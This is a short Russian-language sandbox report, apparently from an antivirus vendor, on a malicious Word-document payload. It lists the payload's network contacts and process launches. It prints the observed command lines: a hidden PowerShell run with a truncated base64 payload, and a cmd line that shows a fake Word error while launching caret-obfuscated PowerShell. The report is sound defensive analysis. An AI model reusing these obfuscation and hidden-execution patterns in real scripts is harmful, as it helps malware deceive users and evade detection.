Техническая информация
Вредоносные функции
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAgAHMAdgAgACAAdQA4AEsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsANQB9AHsANAB9AHsAMgB9AHsAMwB9AHsAMQB9AHsAMAB9ACIAIAAtAGYAIAAnAFkAJwAsACcAZQBjAHQAbwBSACcALAAnAE0ALgAnACwA...
Сетевая активность
Подключается к
- 'ga###tscs.com':443
- 'tr##uc.com':443
- 'al######-manuelzamora.es':443
- 'se###im.daka.dk':443
- 'am####aprojects.com':80
TCP
- 'ga###tscs.com':443
- 'tr##uc.com':443
- 'se###im.daka.dk':443
UDP
- DNS ASK ga###tscs.com
- DNS ASK tr##uc.com
- DNS ASK al######-manuelzamora.es
- DNS ASK se###im.daka.dk
- DNS ASK ib####veonline.org
- DNS ASK am####aprojects.com
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAHMAdgAgACAAdQA4AEsAIAAoACAAWwBUAFkAUABFAF0AKAAiAHsAN...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
